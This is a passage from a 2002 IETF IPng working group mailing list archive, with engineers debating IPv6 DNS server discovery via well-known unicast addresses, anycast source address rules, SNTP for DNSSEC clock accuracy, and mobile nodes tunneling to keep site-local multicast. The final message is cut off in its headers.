-------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 13:11:18 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UKBHrP006917; Tue, 30 Apr 2002 13:11:18 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3UKBHP3006916; Tue, 30 Apr 2002 13:11:17 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UKBErP006909 for ; Tue, 30 Apr 2002 13:11:14 -0700 (PDT) Received: from lukla.Sun.COM ([129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA17457 for ; Tue, 30 Apr 2002 13:11:13 -0700 (PDT) Received: from roam (roam.psg.com [193.0.5.205]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA27396 for ; Tue, 30 Apr 2002 14:11:10 -0600 (MDT) Received: from localhost ([127.0.0.1] helo=roam.psg.com ident=randy) by roam.psg.com with esmtp (Exim 4.04) id 172dxr-000EPa-00; Tue, 30 Apr 2002 16:11:07 -0400 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Rob Austein Cc: ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements References: <4DA6EA82906FD511BE2F00508BCF053802C6ACF7@Esealnt861.al.sw.ericsson.se> <20020429182715.BA0E61CA1@thrintun.hactrn.net> <3CCE88F2.92C5BF9B@nc.rr.com> <20020430140404.2AFAE1BFF@thrintun.hactrn.net> <3CCEAE97.26BA9F7@nc.rr.com> <20020430161107.78D611BFF@thrintun.hactrn.net> Message-Id: Date: Tue, 30 Apr 2002 16:11:07 -0400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > So now we're back to changing the DNS protocol and every IPv6-capable > DNS client in the world to support triangular wheels. but it's different than v4, so it means we're smarter. randy -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 14:48:14 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3ULmErP007293; Tue, 30 Apr 2002 14:48:14 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3ULmDa9007292; Tue, 30 Apr 2002 14:48:13 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3ULmArP007285 for ; Tue, 30 Apr 2002 14:48:10 -0700 (PDT) Received: from lukla.Sun.COM ([129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA17498 for ; Tue, 30 Apr 2002 14:48:11 -0700 (PDT) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA16574 for ; Tue, 30 Apr 2002 15:48:08 -0600 (MDT) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id OAA16057; Tue, 30 Apr 2002 14:48:02 -0700 (PDT) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id g3ULm0k26805; Tue, 30 Apr 2002 14:48:00 -0700 X-mProtect: <200204302148> Nokia Silicon Valley Messaging Protection Received: from UNKNOWN (4.22.78.78, claiming to be "spruce.iprg.nokia.com") by darkstar.iprg.nokia.com smtpdth7i7q; Tue, 30 Apr 2002 14:47:58 PDT Message-Id: <4.3.2.7.2.20020430143155.02bf14c0@mailhost.iprg.nokia.com> X-Sender: hinden@mailhost.iprg.nokia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 30 Apr 2002 14:47:20 -0700 To: Rob Austein From: Bob Hinden Subject: Re: Proposed IPv6 DNS Discovery Requirements Cc: ipng@sunroof.eng.sun.com In-Reply-To: <20020430140404.2AFAE1BFF@thrintun.hactrn.net> References: <3CCE88F2.92C5BF9B@nc.rr.com> <4DA6EA82906FD511BE2F00508BCF053802C6ACF7@Esealnt861.al.sw.ericsson.se> <20020429182715.BA0E61CA1@thrintun.hactrn.net> <3CCE88F2.92C5BF9B@nc.rr.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Rob, >Apologies in advance if this sounds grumpy, it's not intended that >way, I just haven't had enough coffee yet today. :) Coffee is a good thing! To clarify Sections 1 through 8 is the main body of the proposal (called level 1) and is what is being considered by the working group. Section 9 is an appendix (called level 2) for future study. The next version of the draft will likely move this to a separate draft. The last paragraph of section 1 stated: Note: This document only includes in its body a solution for obtaining the address of Domain Name Service servers. Mechanisms for obtaining the other parameters listed above are included in an Appendix A for further study. These may be moved to a separate document in the future. The first set of sections (1-8) does not specify the use anycast or multicast, only unicast using three well know addresses. Hope you enjoyed your coffee. Bob -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 15:54:27 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UMsRrP007554; Tue, 30 Apr 2002 15:54:27 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3UMsRej007553; Tue, 30 Apr 2002 15:54:27 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UMsNrP007546 for ; Tue, 30 Apr 2002 15:54:24 -0700 (PDT) Received: from lukla.Sun.COM ([129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA18675 for ; Tue, 30 Apr 2002 15:54:25 -0700 (PDT) Received: from pegasus.wanadoo.be (pegasus.wanadoo.be [195.74.212.10]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA19002 for ; Tue, 30 Apr 2002 16:54:23 -0600 (MDT) Received: from chimay.bugfactory.org (adsl-154-153.wanadoo.be [213.177.154.153]) by pegasus.wanadoo.be (8.11.6/8.11.6) with ESMTP id g3UMsKY23862; Wed, 1 May 2002 00:54:20 +0200 (MET DST) Subject: Mobile + Multicast + Scopes (draft-ietf-ipngwg-scoping-arch-03.txt) From: Xavier Brouckaert To: ipngwg Cc: Luc Beloeil , Olivier Bonaventure Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.4.99 Date: 01 May 2002 00:53:04 +0200 Message-Id: <1020207187.15622.200.camel@Chimay.bugfactory.org> Mime-Version: 1.0 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hello, In draft-ietf-ipngwg-scoping-arch-03 Section Mobility, authors say : "the mobile node MUST NOT try to have a tunnel back into its old zone for the purposes of attempting such communication". I think it is quite disappointing to forbid this type of tunnel. If a MN is listening to a site-local multicast group, why do you want to break his communication down when he moves into a foreign network located outside the mobile nodes' site ? Scopes aren't great if mobile multicast only works for global scope communications... IMHO, a MN should be able to establish a tunnel with his "multicast home agent" (a home agent involved in multicast routing) to continue multicast communications out of the current scope. There should be no problem for distinguishing two flows from two different sites with the same multicast address because one flow comes natively on the foreign network and the other comes through a tunnel. Is there a way for a mobile node to discover that he has left his home-site ? AFAIK, Router Advertisements only contain prefixes, but no information about scopes. Regards, Xavier. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 16:36:20 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UNaKrP007716; Tue, 30 Apr 2002 16:36:20 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3UNaK0m007715; Tue, 30 Apr 2002 16:36:20 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UNaGrP007708 for ; Tue, 30 Apr 2002 16:36:16 -0700 (PDT) Received: from pheriche.sun.com ([129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA08041 for ; Tue, 30 Apr 2002 16:36:18 -0700 (PDT) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA13335 for ; Tue, 30 Apr 2002 17:36:17 -0600 (MDT) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id QAA23195; Tue, 30 Apr 2002 16:36:16 -0700 (PDT) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id g3UNaFN23933; Tue, 30 Apr 2002 16:36:15 -0700 X-mProtect: <200204302336> Nokia Silicon Valley Messaging Protection Received: from UNKNOWN (4.22.78.78, claiming to be "spruce.iprg.nokia.com") by darkstar.iprg.nokia.com smtpdRRzsxw; Tue, 30 Apr 2002 16:36:13 PDT Message-Id: <4.3.2.7.2.20020430145500.02be3e18@mailhost.iprg.nokia.com> X-Sender: hinden@mailhost.iprg.nokia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 30 Apr 2002 16:36:11 -0700 To: Rob Austein From: Bob Hinden Subject: Re: Proposed IPv6 DNS Discovery Requirements Cc: IPng List In-Reply-To: <20020430161107.78D611BFF@thrintun.hactrn.net> References: <3CCEAE97.26BA9F7@nc.rr.com> <4DA6EA82906FD511BE2F00508BCF053802C6ACF7@Esealnt861.al.sw.ericsson.se> <20020429182715.BA0E61CA1@thrintun.hactrn.net> <3CCE88F2.92C5BF9B@nc.rr.com> <20020430140404.2AFAE1BFF@thrintun.hactrn.net> <3CCEAE97.26BA9F7@nc.rr.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Rob, I think you mentioned in an earlier email about the need for NTP in order to use DNSSEC. From the discussion on the list it sounds like the timing requirement for DNSSEC is for the host to have a clock that is +/- 5 minutes. This could be implemented with NTP or something else (e.g., accurate clock). I read some of RFC2030 "Simple Network Time Protocol (SNTP) Version 4 for IPv4, IPv6 and OSI". I think is what would be needed in most hosts. RFC2030 has three mechanisms for a host to communicate with a SNTP server: Unicast, Multicast, and Anycast. The Multicast and Anycast use well know IANA assigned multicast addresses and don't need any learned configuration. The use of anycast is different than what we usually discuss as it also uses the well known multicast addresses but assumes some cooperation between the servers so only one responds. I would think the unicast approach should work with well known unicast addresses (like the current DNS discovery proposal) at it uses UDP for a transport and consists of a single request with a single response. I will add SNTP server addresses to the list of desirable features in the requirements text. Bob -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 17:06:20 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g4106JrP007779; Tue, 30 Apr 2002 17:06:20 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g4106Jfo007778; Tue, 30 Apr 2002 17:06:19 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g4106FrP007771 for ; Tue, 30 Apr 2002 17:06:15 -0700 (PDT) Received: from patan.sun.com ([129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA20661 for ; Tue, 30 Apr 2002 17:06:18 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA14364 for ; Tue, 30 Apr 2002 18:06:17 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id CD9A64B26; Wed, 1 May 2002 09:06:13 +0900 (JST) To: Randy Bush Cc: Rob Austein , ipng@sunroof.eng.sun.com In-reply-to: randy's message of Tue, 30 Apr 2002 10:22:56 -0400. X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: Proposed IPv6 DNS Discovery Requirements From: itojun@iijlab.net Date: Wed, 01 May 2002 09:06:13 +0900 Message-ID: <20399.1020211573@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >as i have been saying for a year or two. this bit of stupidity makes >anycast useless for the majority of uses to which it is put today [0]. >i presume it will be ignored, and hence die when this stuff tries to >go for draft. if not, a buch of v6 use will die [1]. regarding to anycast topic... currently-practiced IPv4 "anycast" is done via injecting the same address prefix by BGP from multiple locations - like the following documents. draft-ohta-root-servers-01.txt draft-ietf-dnsop-shared-root-server-01.txt the above approach assumes the following: - session lifetime is relatively short - like DNS and http - routing change is not frequent - at least, it won't happen during session lifetime - content provided by anycast server is identical in the context of RFC2460, we cannot assume the above two - for example, people may try to establish long-lived TCP session to anycast address, and get RST suddenly due to routing changes. so i think it reasonable for RFC2460 to have limitation in source address selection, for general use anycast - it is a safety measure. if RFC2460 recommends something like "anycast address can be used only for short-lived sessions", it looks weird. itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 17:12:01 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g410C1rP007814; Tue, 30 Apr 2002 17:12:01 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g410C1Nd007813; Tue, 30 Apr 2002 17:12:01 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g410BvrP007806 for ; Tue, 30 Apr 2002 17:11:57 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA22917 for ; Tue, 30 Apr 2002 17:12:00 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA00629 for ; Tue, 30 Apr 2002 17:11:59 -0700 (PDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 976A74B26; Wed, 1 May 2002 09:11:56 +0900 (JST) To: Rob Austein Cc: ipng@sunroof.eng.sun.com In-reply-to: sra+ipng's message of Tue, 30 Apr 2002 12:11:07 -0400. <20020430161107.78D611BFF@thrintun.hactrn.net> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: Proposed IPv6 DNS Discovery Requirements From: itojun@iijlab.net Date: Wed, 01 May 2002 09:11:56 +0900 Message-ID: <20453.1020211916@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >So now we're back to changing the DNS protocol and every IPv6-capable >DNS client in the world to support triangular wheels. not really. first, RFC2181 has particular care about anycast address - see the last line in section 4.1. >4.1. UDP Source Address Selection > > To avoid these problems, servers when responding to queries using UDP > must cause the reply to be sent with the source address field in the > IP header set to the address that was in the destination address > field of the IP header of the packet containing the query causing the > response. If this would cause the response to be sent from an IP > address that is not permitted for this purpose, then the response may > be sent from any legal IP address allocated to the server. That > address should be chosen to maximise the possibility that the client > will be able to use it for further queries. Servers configured in <--- > such a way that not all their addresses are equally reachable from <--- > all potential clients need take particular care when responding to <--- > queries sent to anycast, multicast, or similar, addresses. <--- second, from implementation POV, microsoft resolvers does not check source (correct me if i'm wrong), and bind4/8 can change behavior by only a one-bit flag (RES_INSECURE1). so it is not a big deal. third, i don't understand why the rule (source address of reply has to be equal to the destination of query) is enforced. it may have been useful in the past, but with source address spoofing getting widely practiced, it provides no protection. the only way we can be sure about data integrity is via DNSSEC (so unfortunately, we are using untrustable DNS responses every day at this moment). itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 17:29:19 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g410TIrP007842; Tue, 30 Apr 2002 17:29:18 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g410TICX007841; Tue, 30 Apr 2002 17:29:18 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g410TFrP007834 for ; Tue, 30 Apr 2002 17:29:15 -0700 (PDT) Received: from patan.sun.com ([129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA24434 for ; Tue, 30 Apr 2002 17:29:16 -0700 (PDT) Received: from drugs.dv.isc.org (drugs.dv.isc.org [130.155.191.236]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA24085 for ; Tue, 30 Apr 2002 18:29:15 -0600 (MDT) Received: from isc.org (localhost.dv.isc.org [127.0.0.1]) by drugs.dv.isc.org (8.11.6/8.11.2) with ESMTP id g410RMx86715; Wed, 1 May 2002 10:27:23 +1000 (EST) (envelope-from marka@isc.org) Message-Id: <200205010027.g410RMx86715@drugs.dv.isc.org> To: itojun@iijlab.net Cc: Rob Austein , ipng@sunroof.eng.sun.com From: Mark.Andrews@isc.org Subject: Re: Proposed IPv6 DNS Discovery Requirements In-reply-to: Your message of "Wed, 01 May 2002 09:11:56 +0900." <20453.1020211916@itojun.org> Date: Wed, 01 May 2002 10:27:22 +1000 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > third, i don't understand why the rule (source address of reply > has to be equal to the destination of query) is enforced. it may > have been useful in the past, but with source address spoofing > getting widely practiced, it provides no protection. the only way > we can be sure about data integrity is via DNSSEC (so unfortunately, > we are using untrustable DNS responses every day at this moment). On a busy caching server the number of outstanding queries can exceed the ID space. Using a seperate ID space per IP address addresses this issue (except when using forwarders). Mark -- Mark Andrews, Internet Software Consortium 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark.Andrews@isc.org -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 20:04:24 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g4134OrP007999; Tue, 30 Apr 2002 20:04:24 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g4134OOY007998; Tue, 30 Apr 2002 20:04:24 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g4134LrP007991 for ; Tue, 30 Apr 2002 20:04:21 -0700 (PDT) Received: from lukla.Sun.COM ([129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id UAA01695 for ; Tue, 30 Apr 2002 20:04:23 -0700 (PDT) Received: from thrintun.hactrn.net (dsl092-066-067.bos1.dsl.speakeasy.net [66.92.66.67]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id VAA23140 for ; Tue, 30 Apr 2002 21:04:21 -0600 (MDT) Received: from thrintun.hactrn.net (localhost [127.0.0.1]) by thrintun.hactrn.net (Postfix) with ESMTP id D663B1C30 for ; Tue, 30 Apr 2002 23:04:20 -0400 (EDT) Date: Tue, 30 Apr 2002 23:04:20 -0400 From: Rob Austein To: ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements In-Reply-To: <4.3.2.7.2.20020430145500.02be3e18@mailhost.iprg.nokia.com> References: <3CCEAE97.26BA9F7@nc.rr.com> <4DA6EA82906FD511BE2F00508BCF053802C6ACF7@Esealnt861.al.sw.ericsson.se> <20020429182715.BA0E61CA1@thrintun.hactrn.net> <3CCE88F2.92C5BF9B@nc.rr.com> <20020430140404.2AFAE1BFF@thrintun.hactrn.net> <20020430161107.78D611BFF@thrintun.hactrn.net> <4.3.2.7.2.20020430145500.02be3e18@mailhost.iprg.nokia.com> User-Agent: Wanderlust/2.4.1 (Stand By Me) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) Emacs/20.7 (i386--freebsd) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Message-Id: <20020501030420.D663B1C30@thrintun.hactrn.net> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At Tue, 30 Apr 2002 16:36:11 -0700, Bob Hinden wrote: > > I think you mentioned in an earlier email about the need for NTP in order > to use DNSSEC. More precisely, in order to verify DNSSEC signatures, but yes. > From the discussion on the list it sounds like the timing requirement for > DNSSEC is for the host to have a clock that is +/- 5 minutes. This could > be implemented with NTP or something else (e.g., accurate clock). > > I read some of RFC2030 "Simple Network Time Protocol (SNTP) Version 4 for > IPv4, IPv6 and OSI". I think is what would be needed in most hosts. I agree that SNTP's granularity would suffice for DNSSEC's purposes. I'd add that one almost certainly wants to enable the NTP/SNTP authentication stuff (yet another key management swamp, bletch). SNTP is really just a lightweight version of NTP and operates on the same ports (SNTP clients can and do use NTP servers, although the other way around is a bad idea due to the precision downgrade), so the distinction between NTP and SNTP may not really be relevant for discovery purposes, but I have no problem with calling the service "SNTP" for now. > RFC2030 has three mechanisms for a host to communicate with a SNTP server: > Unicast, Multicast, and Anycast. The Multicast and Anycast use well know > IANA assigned multicast addresses and don't need any learned > configuration. The use of anycast is different than what we usually > discuss as it also uses the well known multicast addresses but assumes some > cooperation between the servers so only one responds. Er, no. "Anycast" (SNTP flavor) client sends out a multicast request, gets back zero or more unicast responses, and "binds" to the server that responds first. The servers don't coordinate their responses. > I would think the unicast approach should work with well known unicast > addresses (like the current DNS discovery proposal) at it uses UDP for a > transport and consists of a single request with a single response. Comments on "well known unicast address" model deferred to a later message. > I will add SNTP server addresses to the list of desirable features in the > requirements text. Thanks. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 21:00:22 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g4140LrP008059; Tue, 30 Apr 2002 21:00:21 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g4140Luk008058; Tue, 30 Apr 2002 21:00:21 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g4140HrP008051 for ; Tue, 30 Apr 2002 21:00:18 -0700 (PDT) Received: from kathmandu.sun.com ([129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA02710 for ; Tue, 30 Apr 2002 21:00:18 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA12304 for ; Tue, 30 Apr 2002 22:00:17 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 893A94B22; Wed, 1 May 2002 13:00:14 +0900 (JST) To: Steve Deering Cc: ipng@sunroof.eng.sun.com In-reply-to: deering's message of Mon, 29 Apr 2002 12:54:51 MST. X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: Proposed IPv6 DNS Discovery Requirements From: itojun@iijlab.net Date: Wed, 01 May 2002 13:00:14 +0900 Message-ID: <22198.1020225614@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >(Now that I mention it, perhaps DHCP relays ought also to be replaced >by the use of a well-known, site-local anycast address.) question i have is, can we really depend on availability of multicast routing infrastructure in a site. there are lots of proposals that assume it, however, implementation status is, i have to say, rather poor. itoun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 22:39:11 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g415dBrP008281; Tue, 30 Apr 2002 22:39:11 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g415dBHR008280; Tue, 30 Apr 2002 22:39:11 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g415d7rP008273 for ; Tue, 30 Apr 2002 22:39:08 -0700 (PDT) Received: from pheriche.sun.com ([129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA16204 for ; Tue, 30 Apr 2002 22:39:09 -0700 (PDT) Received: from roam.psg.com (roam.psg.com [193.0.5.205]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA04796 for ; Tue, 30 Apr 2002 23:39:08 -0600 (MDT) Received: from localhost ([127.0.0.1] helo=roam.psg.com ident=randy) by roam.psg.com with esmtp (Exim 4.04) id 172mpX-000NAV-00; Wed, 01 May 2002 01:39:07 -0400 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; 